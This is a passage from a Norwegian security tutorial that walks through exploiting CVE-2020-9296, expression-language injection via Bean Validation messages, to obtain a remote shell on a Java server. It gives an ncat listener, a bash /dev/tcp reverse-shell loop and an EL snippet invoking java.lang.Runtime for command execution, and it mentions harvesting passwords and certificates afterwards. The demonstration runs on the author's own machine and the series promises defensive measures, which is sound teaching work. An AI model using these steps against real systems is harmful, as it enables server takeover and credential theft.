Innbrudd — del to

Det som er demonstrert hittil, krever ikke noe annet enn at server-koden bruker Bean Validation og at den returnerer innputt som en del av feilmeldingen. Hvis serveren er feilkonfigurert, kan vi skaffe oss direkte tilgang til maskinen. Det er litt mer omfattende og vi vil fremdeles bare bryte oss inn i vår egen maskin, men det får så være.

CVE-2020–9296 er såpass alvorlig and vi kan få full tilgang til maskinen via et såkalt remote shell. Dette ligner litt på når vi bruker ssh (eller putty på Windows) for å logge oss inn på en server. Forskjellen er at oppkoblingen går den andre veien. Vi får serveren til å koble seg opp mot vår maskin, i stedet for motsatt.

Det første vi må ha, er da noe som kan ta i mot oppkoblingen. Til dette brukes Ncat. Dette er et kraftig analyse verktøy for nettverk. Vi skal bruke applikasjonen i lyttemodus (-l) og sørge for at den holder linjen åpen (-k). Så tar vi med litt ekstra info ut (-v) og kjører det på en tilfeldig valgt port (-p 31338):

ncat -lkvp 31338

Dette terminalvinduet som kjører ncat representerer vår maskin, den vi har kontroll på.

For å demonstrere hva vi ønsker å oppnå, åpner vi et nytt terminalvindu som kan simulere maskinen der Java-serveren kjører. Her ønsker vi å kjøre noen kommandoer som gjør at vi kan kontrollere server-vinduet fra ncat-vinduet.

På Unix er alt en fil. Derfor kan vi knytte en fil handle til en TCP/IP-adresse. Ved å kjøre

exec 5<>/dev/tcp/127.0.0.1/31338

åpnes en toveis kanal (<>) til port 31338 på IP-adressen 127.0.0.1, som er din lokale maskin. 127.0.0.1 fungerer her fordi alt kjører på lokal maskin, men hvis du erstatter adressen med din faktiske IP-adresse, vil dette kunne kjøre over nettet mellom to helt fritt valgte maskiner. Forutsetningen er at brannmurene i mellom dem godtar kommunikasjonen på den aktuelle porten.

Hvis du startet ncat som beskrevet tidligere vil du nå se i ncat-vinduet at du fikk en tilkobling. Hvis du i server-vinduet kjører

echo “Hallo” >&5

blir ‘Hallo’ skrevet ut i ncat-vinduet.

Hvis du i stedet for skriver

cat <&5

vil alt du skriver i ncat-vinduet bli vist i server-vinduet. Vi har altså kommunikasjon begge veier. Dette kan vi nå benytte til å lage et remote shell. Det vi altså ønsker er at serveren kontakter vår ncat-maskin og venter på kommandoer. Når kommandoer kommer, ønsker vi å kjøre disse, og sende resultatet tilbake til vår ncat-maskin. Med bash ser dette slik ut (gitt at du har utført ‘exec’-kommandoen over):

cat <&5 | while read line; do $line 2>&5 >&5; done

Hvis du nå går tilbake til ncat-vinduet og skriver ‘ls’, vil du få en utlisting av innholdet i aktiv katalog i server-vinduet, vist i ncat-vinduet. Nå har vi altså oppnådd det vi ønsket. Server-vinduet kobler seg opp mot ncat-vinduet, og vi kan nå utføre kommandoer på serveren fra ncat-vinduet.

Det eneste som gjenstår er da å levere dette bash-skriptet til Java-serveren og få kjørt den. Ved å få tak i en java.lang.Runtime-instans, kan vi få kjørt systemkommandoer med exec(). Unified expression language gir lett tilgang med

“”.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null)

Pent pakket inn i en JSON som later som den søker på postnummer blir det da:

I ncat-vinduet har vi nå full tilgang til server-maskinen. Alle vanlige bash-kommandoer fungerer, ‘ls’, ‘cat pom.xml’, ‘pwd’ osv.

Dette er det ypperste innen innbrudd, å få et remote shell på serveren. Alt er nå mulig, å undersøke miljøet og konfigurasjonen. Når vi kan undersøke konfigurasjonen, får vi tak i sertifikater og passord som kan gi oss tilgang til andre maskiner både i det interne nettverket og de integrasjonspunktene som er i bruk.

For de som eier serveren er det selvsagt helt krise. Når noen har klart å få så fullstendig kontroll på maskinen vår, må alt bygges opp på nytt. I del tre skal vi se på hva som kan gjøres for å unngå dette, samt noen forslag til hva som bør være på plass for å minimere skaden når oppstår.